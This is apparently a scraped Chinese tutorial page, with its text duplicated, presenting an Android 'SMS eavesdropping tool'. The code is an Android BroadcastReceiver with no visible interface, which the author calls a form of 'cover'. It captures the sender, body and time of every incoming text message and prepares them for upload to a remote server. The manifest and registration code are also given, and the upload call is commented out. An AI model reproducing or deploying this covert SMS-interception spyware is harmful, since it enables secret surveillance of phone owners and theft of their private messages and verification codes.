android短信监听工具(示例代码)
2016-02-24 08:32
726 查看
在学习本实例之前,读者请先了解一下android四大组件中的“广播接收者”的基本概念和使用。
由于是“监听程序”,所以就不需要建立Activity。这样也算是一种“遮掩”吧。使用BroadcastReceiver,就能达到这“不可告人”的目的。呵呵。当然,使用服务来开发此类应用,更加合适。这里就不再深入讨论“服务”了。本实例仅供学习参考,请勿非法用途。
复制代码 代码如下:
package cn.itcast.sms;
import java.sql.Date;
import java.text.SimpleDateFormat;
import java.util.HashMap;
import java.util.Map;
import cn.itcast.utils.SocketHttpRequester;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;
public class SMSBroadcastReceiver extends BroadcastReceiver {
//在接受者这边获取短信相关信息,将相关信息发到服务器上进行窃听
@Override
public void onReceive(Context context, Intent intent) {
Object[] pduses = (Object[])intent.getExtras().get("pdus");
for(Object pdus : pduses){
byte[] pdusmessage = (byte[]) pdus;//没一条短信
SmsMessage sms = SmsMessage.createFromPdu(pdusmessage);
String mobile = sms.getOriginatingAddress();//得到电话号码
String content = sms.getMessageBody();//得到短信的内容
Date date = new Date(sms.getTimestampMillis());//得到发送短信具体时间
//2009-10-12 12:21:23
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//为实践设置格式
String sendtime = format.format(date);
Map<String, String> params = new HashMap<String, String>();
params.put("method", "getSMS");//将与短信相关的内容全部都放到集合里
params.put("mobile", mobile);
params.put("content", content);
params.put("sendtime", sendtime);
try {//利用socket向服务器发送窃听到的内容
//SocketHttpRequester.post("http://192.168.1.100:8080/videoweb/video/manage.do", params, "UTF-8");
} catch (Exception e) {
Log.e("SMSBroadcastReceiver", e.toString());
}
}
}
}
注意修改Android项目文件的配置
复制代码 代码如下:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="cn.itcast.sms"
android:versionCode="1"
android:versionName="1.0">
<application android:icon="@drawable/icon" android:label="@string/app_name">
<receiver android:name=".SMSBroadcastReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>
<uses-sdk android:minSdkVersion="8" />
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
<!-- 访问网络的权限 -->
<uses-permission android:name="android.permission.INTERNET"/>
</manifest>
最后说一点,Android中广播的注册机制,其实有2种方式(上文中使用的是第二种方式--配置项目清单文件)。
第一,通过代码的方式注册;
当实现了广播接收器,还要设置广播接收器接收广播信息的类型,这里是信息:android.provider.Telephony.SMS_RECEIVED
我们就可以把广播接收器注册到系统里面,可以让系统知道我们有个广播接收器。这里有两种,一种是代码动态注册:
复制代码 代码如下:
//生成广播处理
smsBroadCastReceiver = new SmsBroadCastReceiver();
//实例化过滤器并设置要过滤的广播
IntentFilter intentFilter = new IntentFilter();
intentFilter.addAction(SMS_ACTION);
//注册广播
BroadCastReceiverActivity.this.registerReceiver(smsBroadCastReceiver, intentFilter);
android中可以通过两种方式调用接口发送短信
Android Mms之:短信发送流程(图文详解)
android短信拦截的实现代码
android教程之intent的action属性使用示例(intent发短信)
Android短信接收监听、自动回复短信操作例子
获取Android手机中所有短信的实现代码
Android实现获取未接来电和未读短信数量的方法
Android发送短信功能代码
Android接收和发送短信处理
由于是“监听程序”,所以就不需要建立Activity。这样也算是一种“遮掩”吧。使用BroadcastReceiver,就能达到这“不可告人”的目的。呵呵。当然,使用服务来开发此类应用,更加合适。这里就不再深入讨论“服务”了。本实例仅供学习参考,请勿非法用途。
复制代码 代码如下:
package cn.itcast.sms;
import java.sql.Date;
import java.text.SimpleDateFormat;
import java.util.HashMap;
import java.util.Map;
import cn.itcast.utils.SocketHttpRequester;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;
public class SMSBroadcastReceiver extends BroadcastReceiver {
//在接受者这边获取短信相关信息,将相关信息发到服务器上进行窃听
@Override
public void onReceive(Context context, Intent intent) {
Object[] pduses = (Object[])intent.getExtras().get("pdus");
for(Object pdus : pduses){
byte[] pdusmessage = (byte[]) pdus;//没一条短信
SmsMessage sms = SmsMessage.createFromPdu(pdusmessage);
String mobile = sms.getOriginatingAddress();//得到电话号码
String content = sms.getMessageBody();//得到短信的内容
Date date = new Date(sms.getTimestampMillis());//得到发送短信具体时间
//2009-10-12 12:21:23
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//为实践设置格式
String sendtime = format.format(date);
Map<String, String> params = new HashMap<String, String>();
params.put("method", "getSMS");//将与短信相关的内容全部都放到集合里
params.put("mobile", mobile);
params.put("content", content);
params.put("sendtime", sendtime);
try {//利用socket向服务器发送窃听到的内容
//SocketHttpRequester.post("http://192.168.1.100:8080/videoweb/video/manage.do", params, "UTF-8");
} catch (Exception e) {
Log.e("SMSBroadcastReceiver", e.toString());
}
}
}
}
注意修改Android项目文件的配置
复制代码 代码如下:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="cn.itcast.sms"
android:versionCode="1"
android:versionName="1.0">
<application android:icon="@drawable/icon" android:label="@string/app_name">
<receiver android:name=".SMSBroadcastReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>
<uses-sdk android:minSdkVersion="8" />
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
<!-- 访问网络的权限 -->
<uses-permission android:name="android.permission.INTERNET"/>
</manifest>
最后说一点,Android中广播的注册机制,其实有2种方式(上文中使用的是第二种方式--配置项目清单文件)。
第一,通过代码的方式注册;
当实现了广播接收器,还要设置广播接收器接收广播信息的类型,这里是信息:android.provider.Telephony.SMS_RECEIVED
我们就可以把广播接收器注册到系统里面,可以让系统知道我们有个广播接收器。这里有两种,一种是代码动态注册:
复制代码 代码如下:
//生成广播处理
smsBroadCastReceiver = new SmsBroadCastReceiver();
//实例化过滤器并设置要过滤的广播
IntentFilter intentFilter = new IntentFilter();
intentFilter.addAction(SMS_ACTION);
//注册广播
BroadCastReceiverActivity.this.registerReceiver(smsBroadCastReceiver, intentFilter);
您可能感兴趣的文章:
android开发基础教程—打电话发短信android中可以通过两种方式调用接口发送短信
Android Mms之:短信发送流程(图文详解)
android短信拦截的实现代码
android教程之intent的action属性使用示例(intent发短信)
Android短信接收监听、自动回复短信操作例子
获取Android手机中所有短信的实现代码
Android实现获取未接来电和未读短信数量的方法
Android发送短信功能代码
Android接收和发送短信处理
相关文章推荐
- 【Android Tricks 6】ViewPager首页与尾页的滑动动作响应
- 【Android】自定义view的模版
- 【Android】监听蓝牙状态变化
- 【Android】使用ProgressBar遇到的问题
- android xml点击交互
- 【Android】沉浸式状态栏的两种实现方式
- Android屏幕适配
- android 成长日记 6.ListView详解
- android圆形图片,圆形背景文字的CircleTextImageView开源组件
- 【Android】图片资源的加载、简单处理
- 【Android】多媒体编程——MediaPlayer音频播放
- 【Android】Intent过滤器
- 【Android】BroadcastReceiver的生命周期
- 【Android】Activity启动模式
- Android下拉刷新汽车加速仪表盘效果
- Android Studio 常见问题之Rendering Problems
- Drawable Resources
- Android笔记之Activity
- Android Service生命周期 Service里面的onStartCommand()方法详解
- GitHub 优秀的 Android 开源项目